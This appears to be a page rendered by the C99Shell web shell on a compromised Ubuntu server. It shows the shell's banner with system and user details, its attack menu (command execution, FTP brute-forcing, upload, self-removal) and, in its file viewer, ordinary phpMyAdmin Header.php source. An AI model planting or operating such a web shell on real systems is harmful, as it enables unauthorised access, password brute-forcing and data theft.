!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/libraries/classes/   drwxr-xr-x
Free 13.05 GB of 57.97 GB (22.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Header.php (25.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Used to render the header of PMA's pages
 *
 * @package PhpMyAdmin
 */
namespace PhpMyAdmin;

use 
PhpMyAdmin\Config;
use 
PhpMyAdmin\Console;
use 
PhpMyAdmin\Core;
use 
PhpMyAdmin\Menu;
use 
PhpMyAdmin\Message;
use 
PhpMyAdmin\Navigation\Navigation;
use 
PhpMyAdmin\RecentFavoriteTable;
use 
PhpMyAdmin\Sanitize;
use 
PhpMyAdmin\Scripts;
use 
PhpMyAdmin\Url;
use 
PhpMyAdmin\UserPreferences;
use 
PhpMyAdmin\Util;

/**
 * Class used to output the HTTP and HTML headers
 *
 * @package PhpMyAdmin
 */
class Header
{
    
/**
     * Scripts instance
     *
     * @access private
     * @var Scripts
     */
    
private $_scripts;
    
/**
     * PhpMyAdmin\Console instance
     *
     * @access private
     * @var Console
     */
    
private $_console;
    
/**
     * Menu instance
     *
     * @access private
     * @var Menu
     */
    
private $_menu;
    
/**
     * Whether to offer the option of importing user settings
     *
     * @access private
     * @var bool
     */
    
private $_userprefsOfferImport;
    
/**
     * The page title
     *
     * @access private
     * @var string
     */
    
private $_title;
    
/**
     * The value for the id attribute for the body tag
     *
     * @access private
     * @var string
     */
    
private $_bodyId;
    
/**
     * Whether to show the top menu
     *
     * @access private
     * @var bool
     */
    
private $_menuEnabled;
    
/**
     * Whether to show the warnings
     *
     * @access private
     * @var bool
     */
    
private $_warningsEnabled;
    
/**
     * Whether the page is in 'print view' mode
     *
     * @access private
     * @var bool
     */
    
private $_isPrintView;
    
/**
     * Whether we are servicing an ajax request.
     *
     * @access private
     * @var bool
     */
    
private $_isAjax;
    
/**
     * Whether to display anything
     *
     * @access private
     * @var bool
     */
    
private $_isEnabled;
    
/**
     * Whether the HTTP headers (and possibly some HTML)
     * have already been sent to the browser
     *
     * @access private
     * @var bool
     */
    
private $_headerIsSent;

    
/**
     * @var UserPreferences
     */
    
private $userPreferences;

    
/**
     * Creates a new class instance
     */
    
public function __construct()
    {
        
$this->_isEnabled true;
        
$this->_isAjax false;
        
$this->_bodyId '';
        
$this->_title  '';
        
$this->_console = new Console();
        
$db strlen($GLOBALS['db']) ? $GLOBALS['db'] : '';
        
$table strlen($GLOBALS['table']) ? $GLOBALS['table'] : '';
        
$this->_menu   = new Menu(
            
$GLOBALS['server'],
            
$db,
            
$table
        
);
        
$this->_menuEnabled true;
        
$this->_warningsEnabled true;
        
$this->_isPrintView false;
        
$this->_scripts = new Scripts();
        
$this->_addDefaultScripts();
        
$this->_headerIsSent false;
        
// if database storage for user preferences is transient,
        // offer to load exported settings from localStorage
        // (detection will be done in JavaScript)
        
$this->_userprefsOfferImport false;
        if (
$GLOBALS['PMA_Config']->get('user_preferences') == 'session'
            
&& ! isset($_SESSION['userprefs_autoload'])
        ) {
            
$this->_userprefsOfferImport true;
        }

        
$this->userPreferences = new UserPreferences();
    }

    
/**
     * Loads common scripts
     *
     * @return void
     */
    
private function _addDefaultScripts()
    {
        
// Localised strings
        
$this->_scripts->addFile('vendor/jquery/jquery.min.js');
        
$this->_scripts->addFile('vendor/jquery/jquery-migrate.js');
        
$this->_scripts->addFile('whitelist.php');
        
$this->_scripts->addFile('vendor/sprintf.js');
        
$this->_scripts->addFile('ajax.js');
        
$this->_scripts->addFile('keyhandler.js');
        
$this->_scripts->addFile('vendor/jquery/jquery-ui.min.js');
        
$this->_scripts->addFile('vendor/js.cookie.js');
        
$this->_scripts->addFile('vendor/jquery/jquery.mousewheel.js');
        
$this->_scripts->addFile('vendor/jquery/jquery.event.drag-2.2.js');
        
$this->_scripts->addFile('vendor/jquery/jquery.validate.js');
        
$this->_scripts->addFile('vendor/jquery/jquery-ui-timepicker-addon.js');
        
$this->_scripts->addFile('vendor/jquery/jquery.ba-hashchange-1.3.js');
        
$this->_scripts->addFile('vendor/jquery/jquery.debounce-1.0.5.js');
        
$this->_scripts->addFile('menu-resizer.js');

        
// Cross-framing protection
        
if ($GLOBALS['cfg']['AllowThirdPartyFraming'] === false) {
            
$this->_scripts->addFile('cross_framing_protection.js');
        }

        
$this->_scripts->addFile('rte.js');
        if (
$GLOBALS['cfg']['SendErrorReports'] !== 'never') {
            
$this->_scripts->addFile('vendor/tracekit.js');
            
$this->_scripts->addFile('error_report.js');
        }

        
// Here would not be a good place to add CodeMirror because
        // the user preferences have not been merged at this point

        
$this->_scripts->addFile('messages.php', array('l' => $GLOBALS['lang']));
        
// Append the theme id to this url to invalidate
        // the cache on a theme change. Though this might be
        // unavailable for fatal errors.
        
if (isset($GLOBALS['PMA_Theme'])) {
            
$theme_id urlencode($GLOBALS['PMA_Theme']->getId());
        } else {
            
$theme_id 'default';
        }
        
$this->_scripts->addFile('config.js');
        
$this->_scripts->addFile('doclinks.js');
        
$this->_scripts->addFile('functions.js');
        
$this->_scripts->addFile('navigation.js');
        
$this->_scripts->addFile('indexes.js');
        
$this->_scripts->addFile('common.js');
        
$this->_scripts->addFile('page_settings.js');
        if (! 
$GLOBALS['PMA_Config']->get('DisableShortcutKeys')) {
            
$this->_scripts->addFile('shortcuts_handler.js');
        }
        
$this->_scripts->addCode($this->getJsParamsCode());
    }

    
/**
     * Returns, as an array, a list of parameters
     * used on the client side
     *
     * @return array
     */
    
public function getJsParams()
    {
        
$db strlen($GLOBALS['db']) ? $GLOBALS['db'] : '';
        
$table strlen($GLOBALS['table']) ? $GLOBALS['table'] : '';
        
$pftext = isset($_SESSION['tmpval']['pftext'])
            ? 
$_SESSION['tmpval']['pftext'] : '';

        
$params = array(
            
'common_query' => Url::getCommonRaw(),
            
'opendb_url' => Util::getScriptNameForOption(
                
$GLOBALS['cfg']['DefaultTabDatabase'], 'database'
            
),
            
'lang' => $GLOBALS['lang'],
            
'server' => $GLOBALS['server'],
            
'table' => $table,
            
'db'    => $db,
            
'token' => $_SESSION[' PMA_token '],
            
'text_dir' => $GLOBALS['text_dir'],
            
'show_databases_navigation_as_tree' => $GLOBALS['cfg']['ShowDatabasesNavigationAsTree'],
            
'pma_text_default_tab' => Util::getTitleForTarget(
                
$GLOBALS['cfg']['DefaultTabTable']
            ),
            
'pma_text_left_default_tab' => Util::getTitleForTarget(
                
$GLOBALS['cfg']['NavigationTreeDefaultTabTable']
            ),
            
'pma_text_left_default_tab2' => Util::getTitleForTarget(
                
$GLOBALS['cfg']['NavigationTreeDefaultTabTable2']
            ),
            
'LimitChars' => $GLOBALS['cfg']['LimitChars'],
            
'pftext' => $pftext,
            
'confirm' => $GLOBALS['cfg']['Confirm'],
            
'LoginCookieValidity' => $GLOBALS['cfg']['LoginCookieValidity'],
            
'session_gc_maxlifetime' => (int)ini_get('session.gc_maxlifetime'),
            
'logged_in' => (isset($GLOBALS['dbi']) ? $GLOBALS['dbi']->isUserType('logged') : false),
            
'is_https' => $GLOBALS['PMA_Config']->isHttps(),
            
'rootPath' => $GLOBALS['PMA_Config']->getRootPath(),
            
'arg_separator' => URL::getArgSeparator(),
            
'PMA_VERSION' => PMA_VERSION
        
);
        if (isset(
$GLOBALS['cfg']['Server'])
            && isset(
$GLOBALS['cfg']['Server']['auth_type'])
        ) {
            
$params['auth_type'] = $GLOBALS['cfg']['Server']['auth_type'];
            if (isset(
$GLOBALS['cfg']['Server']['user'])) {
                
$params['user'] = $GLOBALS['cfg']['Server']['user'];
            }
        }

        return 
$params;
    }

    
/**
     * Returns, as a string, a list of parameters
     * used on the client side
     *
     * @return string
     */
    
public function getJsParamsCode()
    {
        
$params $this->getJsParams();
        foreach (
$params as $key => $value) {
            if (
is_bool($value)) {
                
$params[$key] = $key ':' . ($value 'true' 'false') . '';
            } else {
                
$params[$key] = $key ':"' Sanitize::escapeJsString($value) . '"';
            }
        }
        return 
'PMA_commonParams.setAll({' implode(','$params) . '});';
    }

    
/**
     * Disables the rendering of the header
     *
     * @return void
     */
    
public function disable()
    {
        
$this->_isEnabled false;
    }

    
/**
     * Set the ajax flag to indicate whether
     * we are servicing an ajax request
     *
     * @param bool $isAjax Whether we are servicing an ajax request
     *
     * @return void
     */
    
public function setAjax($isAjax)
    {
        
$this->_isAjax = (boolean) $isAjax;
        
$this->_console->setAjax($isAjax);
    }

    
/**
     * Returns the Scripts object
     *
     * @return Scripts object
     */
    
public function getScripts()
    {
        return 
$this->_scripts;
    }

    
/**
     * Returns the Menu object
     *
     * @return Menu object
     */
    
public function getMenu()
    {
        return 
$this->_menu;
    }

    
/**
     * Setter for the ID attribute in the BODY tag
     *
     * @param string $id Value for the ID attribute
     *
     * @return void
     */
    
public function setBodyId($id)
    {
        
$this->_bodyId htmlspecialchars($id);
    }

    
/**
     * Setter for the title of the page
     *
     * @param string $title New title
     *
     * @return void
     */
    
public function setTitle($title)
    {
        
$this->_title htmlspecialchars($title);
    }

    
/**
     * Disables the display of the top menu
     *
     * @return void
     */
    
public function disableMenuAndConsole()
    {
        
$this->_menuEnabled false;
        
$this->_console->disable();
    }

    
/**
     * Disables the display of the top menu
     *
     * @return void
     */
    
public function disableWarnings()
    {
        
$this->_warningsEnabled false;
    }

    
/**
     * Turns on 'print view' mode
     *
     * @return void
     */
    
public function enablePrintView()
    {
        
$this->disableMenuAndConsole();
        
$this->setTitle(__('Print view') . ' - phpMyAdmin ' PMA_VERSION);
        
$this->_isPrintView true;
    }

    
/**
     * Generates the header
     *
     * @return string The header
     */
    
public function getDisplay()
    {
        
$retval '';
        if (! 
$this->_headerIsSent) {
            if (! 
$this->_isAjax && $this->_isEnabled) {
                
$this->sendHttpHeaders();
                
$retval .= $this->_getHtmlStart();
                
$retval .= $this->_getMetaTags();
                
$retval .= $this->_getLinkTags();
                
$retval .= $this->getTitleTag();

                
// The user preferences have been merged at this point
                // so we can conditionally add CodeMirror
                
if ($GLOBALS['cfg']['CodemirrorEnable']) {
                    
$this->_scripts->addFile('vendor/codemirror/lib/codemirror.js');
                    
$this->_scripts->addFile('vendor/codemirror/mode/sql/sql.js');
                    
$this->_scripts->addFile('vendor/codemirror/addon/runmode/runmode.js');
                    
$this->_scripts->addFile('vendor/codemirror/addon/hint/show-hint.js');
                    
$this->_scripts->addFile('vendor/codemirror/addon/hint/sql-hint.js');
                    if (
$GLOBALS['cfg']['LintEnable']) {
                        
$this->_scripts->addFile('vendor/codemirror/addon/lint/lint.js');
                        
$this->_scripts->addFile(
                            
'codemirror/addon/lint/sql-lint.js'
                        
);
                    }
                }
                
$this->_scripts->addCode(
                    
'ConsoleEnterExecutes='
                    
. ($GLOBALS['cfg']['ConsoleEnterExecutes'] ? 'true' 'false')
                );
                
$this->_scripts->addFiles($this->_console->getScripts());
                if (
$this->_userprefsOfferImport) {
                    
$this->_scripts->addFile('config.js');
                }
                
$retval .= $this->_scripts->getDisplay();
                
$retval .= '<noscript>';
                
$retval .= '<style>html{display:block}</style>';
                
$retval .= '</noscript>';
                
$retval .= $this->_getBodyStart();
                if (
$this->_menuEnabled && $GLOBALS['server'] > 0) {
                    
$nav = new Navigation();
                    
$retval .= $nav->getDisplay();
                }
                
// Include possible custom headers
                
$retval .= Config::renderHeader();
                
// offer to load user preferences from localStorage
                
if ($this->_userprefsOfferImport) {
                    
$retval .= $this->userPreferences->autoloadGetHeader();
                }
                
// pass configuration for hint tooltip display
                // (to be used by PMA_tooltip() in js/functions.js)
                
if (! $GLOBALS['cfg']['ShowHint']) {
                    
$retval .= '<span id="no_hint" class="hide"></span>';
                }
                
$retval .= $this->_getWarnings();
                if (
$this->_menuEnabled && $GLOBALS['server'] > 0) {
                    
$retval .= $this->_menu->getDisplay();
                    
$retval .= '<span id="page_nav_icons">';
                    
$retval .= '<span id="lock_page_icon"></span>';
                    
$retval .= '<span id="page_settings_icon">'
                        
Util::getImage(
                            
's_cog',
                            
__('Page-related settings')
                        )
                        . 
'</span>';
                    
$retval .= sprintf(
                        
'<a id="goto_pagetop" href="#">%s</a>',
                        
Util::getImage(
                            
's_top',
                            
__('Click on the bar to scroll to top of page')
                        )
                    );
                    
$retval .= '</span>';
                }
                
$retval .= $this->_console->getDisplay();
                
$retval .= '<div id="page_content">';
                
$retval .= $this->getMessage();
            }
            if (
$this->_isEnabled && empty($_REQUEST['recent_table'])) {
                
$retval .= $this->_addRecentTable(
                    
$GLOBALS['db'],
                    
$GLOBALS['table']
                );
            }
        }
        return 
$retval;
    }

    
/**
     * Returns the message to be displayed at the top of
     * the page, including the executed SQL query, if any.
     *
     * @return string
     */
    
public function getMessage()
    {
        
$retval '';
        
$message '';
        if (! empty(
$GLOBALS['message'])) {
            
$message $GLOBALS['message'];
            unset(
$GLOBALS['message']);
        } elseif (! empty(
$_REQUEST['message'])) {
            
$message $_REQUEST['message'];
        }
        if (! empty(
$message)) {
            if (isset(
$GLOBALS['buffer_message'])) {
                
$buffer_message $GLOBALS['buffer_message'];
            }
            
$retval .= Util::getMessage($message);
            if (isset(
$buffer_message)) {
                
$GLOBALS['buffer_message'] = $buffer_message;
            }
        }
        return 
$retval;
    }

    
/**
     * Sends out the HTTP headers
     *
     * @return void
     */
    
public function sendHttpHeaders()
    {
        if (
defined('TESTSUITE')) {
            return;
        }
        
$map_tile_urls ' *.tile.openstreetmap.org';

        
/**
         * Sends http headers
         */
        
$GLOBALS['now'] = gmdate('D, d M Y H:i:s') . ' GMT';
        if (!empty(
$GLOBALS['cfg']['CaptchaLoginPrivateKey'])
            && !empty(
$GLOBALS['cfg']['CaptchaLoginPublicKey'])
        ) {
            
$captcha_url
                
' https://apis.google.com https://www.google.com/recaptcha/'
                
' https://www.gstatic.com/recaptcha/ https://ssl.gstatic.com/ ';
        } else {
            
$captcha_url '';
        }
        
/* Prevent against ClickJacking by disabling framing */
        
if (! $GLOBALS['cfg']['AllowThirdPartyFraming']) {
            
header(
                
'X-Frame-Options: DENY'
            
);
        }
        
header('Referrer-Policy: no-referrer');
        
header(
            
"Content-Security-Policy: default-src 'self' "
            
$captcha_url
            
$GLOBALS['cfg']['CSPAllow'] . ';'
            
"script-src 'self' 'unsafe-inline' 'unsafe-eval' "
            
$captcha_url
            
$GLOBALS['cfg']['CSPAllow'] . ';'
            
"style-src 'self' 'unsafe-inline' "
            
$captcha_url
            
$GLOBALS['cfg']['CSPAllow']
            . 
";"
            
"img-src 'self' data: "
            
$GLOBALS['cfg']['CSPAllow']
            . 
$map_tile_urls
            
$captcha_url
            
";"
            
"object-src 'none';"
        
);
        
header(
            
"X-Content-Security-Policy: default-src 'self' "
            
$captcha_url
            
$GLOBALS['cfg']['CSPAllow'] . ';'
            
"options inline-script eval-script;"
            
"referrer no-referrer;"
            
"img-src 'self' data: "
            
$GLOBALS['cfg']['CSPAllow']
            . 
$map_tile_urls
            
$captcha_url
            
";"
            
"object-src 'none';"
        
);
        
header(
            
"X-WebKit-CSP: default-src 'self' "
            
$captcha_url
            
$GLOBALS['cfg']['CSPAllow'] . ';'
            
"script-src 'self' "
            
$captcha_url
            
$GLOBALS['cfg']['CSPAllow']
            . 
" 'unsafe-inline' 'unsafe-eval';"
            
"referrer no-referrer;"
            
"style-src 'self' 'unsafe-inline' "
            
$captcha_url
            
';'
            
"img-src 'self' data: "
            
$GLOBALS['cfg']['CSPAllow']
            . 
$map_tile_urls
            
$captcha_url
            
";"
            
"object-src 'none';"
        
);
        
// Re-enable possible disabled XSS filters
        // see https://www.owasp.org/index.php/List_of_useful_HTTP_headers
        
header(
            
'X-XSS-Protection: 1; mode=block'
        
);
        
// "nosniff", prevents Internet Explorer and Google Chrome from MIME-sniffing
        // a response away from the declared content-type
        // see https://www.owasp.org/index.php/List_of_useful_HTTP_headers
        
header(
            
'X-Content-Type-Options: nosniff'
        
);
        
// Adobe cross-domain-policies
        // see https://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html
        
header(
            
'X-Permitted-Cross-Domain-Policies: none'
        
);
        
// Robots meta tag
        // see https://developers.google.com/webmasters/control-crawl-index/docs/robots_meta_tag
        
header(
            
'X-Robots-Tag: noindex, nofollow'
        
);
        
Core::noCacheHeader();
        if (! 
defined('IS_TRANSFORMATION_WRAPPER')) {
            
// Define the charset to be used
            
header('Content-Type: text/html; charset=utf-8');
        }
        
$this->_headerIsSent true;
    }

    
/**
     * Returns the DOCTYPE and the start HTML tag
     *
     * @return string DOCTYPE and HTML tags
     */
    
private function _getHtmlStart()
    {
        
$lang $GLOBALS['lang'];
        
$dir  $GLOBALS['text_dir'];

        
$retval  "<!DOCTYPE HTML>";
        
$retval .= "<html lang='$lang' dir='$dir'>";
        
$retval .= '<head>';

        return 
$retval;
    }

    
/**
     * Returns the META tags
     *
     * @return string the META tags
     */
    
private function _getMetaTags()
    {
        
$retval  '<meta charset="utf-8" />';
        
$retval .= '<meta name="referrer" content="no-referrer" />';
        
$retval .= '<meta name="robots" content="noindex,nofollow" />';
        
$retval .= '<meta http-equiv="X-UA-Compatible" content="IE=Edge" />';
        
$retval .= '<meta name="viewport" content="width=device-width, initial-scale=1.0">';
        if (! 
$GLOBALS['cfg']['AllowThirdPartyFraming']) {
            
$retval .= '<style id="cfs-style">html{display: none;}</style>';
        }
        return 
$retval;
    }

    
/**
     * Returns the LINK tags for the favicon and the stylesheets
     *
     * @return string the LINK tags
     */
    
private function _getLinkTags()
    {
        
$retval '<link rel="icon" href="favicon.ico" '
            
'type="image/x-icon" />'
            
'<link rel="shortcut icon" href="favicon.ico" '
            
'type="image/x-icon" />';
        
// stylesheets
        
$basedir    defined('PMA_PATH_TO_BASEDIR') ? PMA_PATH_TO_BASEDIR '';
        
$theme_id   $GLOBALS['PMA_Config']->getThemeUniqueValue();
        
$theme_path $GLOBALS['pmaThemePath'];
        
$v          self::getVersionParameter();

        if (
$this->_isPrintView) {
            
$retval .= '<link rel="stylesheet" type="text/css" href="'
                
$basedir 'print.css?' $v '" />';
        } else {
            
// load jQuery's CSS prior to our theme's CSS, to let the theme
            // override jQuery's CSS
            
$retval .= '<link rel="stylesheet" type="text/css" href="'
                
$theme_path '/jquery/jquery-ui.css" />';
            
$retval .= '<link rel="stylesheet" type="text/css" href="'
                
$basedir 'js/vendor/codemirror/lib/codemirror.css?' $v '" />';
            
$retval .= '<link rel="stylesheet" type="text/css" href="'
                
$basedir 'js/vendor/codemirror/addon/hint/show-hint.css?' $v '" />';
            
$retval .= '<link rel="stylesheet" type="text/css" href="'
                
$basedir 'js/vendor/codemirror/addon/lint/lint.css?' $v '" />';
            
$retval .= '<link rel="stylesheet" type="text/css" href="'
                
$basedir 'phpmyadmin.css.php?'
                
'nocache=' $theme_id $GLOBALS['text_dir']
                . (isset(
$GLOBALS['server']) ? '&amp;server=' $GLOBALS['server'] : '')
                . 
'" />';
            
// load Print view's CSS last, so that it overrides all other CSS while
            // 'printing'
            
$retval .= '<link rel="stylesheet" type="text/css" href="'
                
$theme_path '/css/printview.css?' $v '" media="print" id="printcss"/>';
        }

        return 
$retval;
    }

    
/**
     * Returns the TITLE tag
     *
     * @return string the TITLE tag
     */
    
public function getTitleTag()
    {
        
$retval  "<title>";
        
$retval .= $this->_getPageTitle();
        
$retval .= "</title>";
        return 
$retval;
    }

    
/**
     * If the page is missing the title, this function
     * will set it to something reasonable
     *
     * @return string
     */
    
private function _getPageTitle()
    {
        if (
strlen($this->_title) == 0) {
            if (
$GLOBALS['server'] > 0) {
                if (
strlen($GLOBALS['table'])) {
                    
$temp_title $GLOBALS['cfg']['TitleTable'];
                } elseif (
strlen($GLOBALS['db'])) {
                    
$temp_title $GLOBALS['cfg']['TitleDatabase'];
                } elseif (
strlen($GLOBALS['cfg']['Server']['host'])) {
                    
$temp_title $GLOBALS['cfg']['TitleServer'];
                } else {
                    
$temp_title $GLOBALS['cfg']['TitleDefault'];
                }
                
$this->_title htmlspecialchars(
                    
Util::expandUserString($temp_title)
                );
            } else {
                
$this->_title 'phpMyAdmin';
            }
        }
        return 
$this->_title;
    }

    
/**
     * Returns the close tag to the HEAD
     * and the start tag for the BODY
     *
     * @return string HEAD and BODY tags
     */
    
private function _getBodyStart()
    {
        
$retval "</head><body";
        if (
strlen($this->_bodyId)) {
            
$retval .= " id='" $this->_bodyId "'";
        }
        
$retval .= ">";
        return 
$retval;
    }

    
/**
     * Returns some warnings to be displayed at the top of the page
     *
     * @return string The warnings
     */
    
private function _getWarnings()
    {
        
$retval '';
        if (
$this->_warningsEnabled) {
            
$retval .= "<noscript>";
            
$retval .= Message::error(
                
__("Javascript must be enabled past this point!")
            )->
getDisplay();
            
$retval .= "</noscript>";
        }
        return 
$retval;
    }

    
/**
     * Add recently used table and reload the navigation.
     *
     * @param string $db    Database name where the table is located.
     * @param string $table The table name
     *
     * @return string
     */
    
private function _addRecentTable($db$table)
    {
        
$retval '';
        if (
$this->_menuEnabled
            
&& strlen($table) > 0
            
&& $GLOBALS['cfg']['NumRecentTables'] > 0
        
) {
            
$tmp_result RecentFavoriteTable::getInstance('recent')
                              ->
add($db$table);
            if (
$tmp_result === true) {
                
$retval RecentFavoriteTable::getHtmlUpdateRecentTables();
            } else {
                
$error  $tmp_result;
                
$retval $error->getDisplay();
            }
        }
        return 
$retval;
    }

    
/**
     * Returns the phpMyAdmin version to be appended to the url to avoid caching
     * between versions
     *
     * @return string urlenocded pma version as a parameter
     */
    
public static function getVersionParameter()
    {
        return 
"v=" urlencode(PMA_VERSION);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0435 ]--